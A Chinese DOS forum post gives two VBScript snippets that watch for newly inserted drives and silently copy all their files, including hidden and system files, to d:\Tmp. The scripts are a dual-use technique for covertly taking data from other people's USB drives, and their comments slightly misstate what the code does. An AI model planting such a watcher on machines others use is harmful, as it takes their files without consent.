联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!
1. 监视新增所有驱动器,并复制所有新驱动器中的文件到D盘下 '随时监视插入的U盘或移动硬盘,有则自动复制其中的所有文件到d:\Tmp中 '把 fso.CopyFile 改成 fso.CopyFolder 则可以复制文件夹 '注意:包括隐藏和系统属性的文件或文件夹均被复制 '覆盖true 不覆盖false 不能覆盖具有只读属性的文件和文件夹 '若出现多个新盘符的话,每个盘中的文件均被复制 Set fso = CreateObject("Scripting.FileSystemObject") Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _ & "TargetInstance isa 'Win32_LogicalDisk'") Do While True Set objEvent = colEvents.NextEvent If objEvent.TargetInstance.DriveType = 3 Then If objEvent.Path_.Class = "__InstanceCreationEvent" Then NewDri = objEvent.TargetInstance.DeviceId fso.CopyFile NewDri & "\*","d:\Tmp\",true End If End If Loop 2.监视新增驱动器,只复制其中第1个分区中的所有文件到D盘下 Dim NewDri(9) Set fso = CreateObject("Scripting.FileSystemObject") Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _ & "TargetInstance isa 'Win32_LogicalDisk'") Do While True Set objEvent = colEvents.NextEvent If objEvent.TargetInstance.DriveType = 3 Then If objEvent.Path_.Class = "__InstanceCreationEvent" Then i=i + 1 NewDri(i) = objEvent.TargetInstance.DeviceId fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true End If End If Loop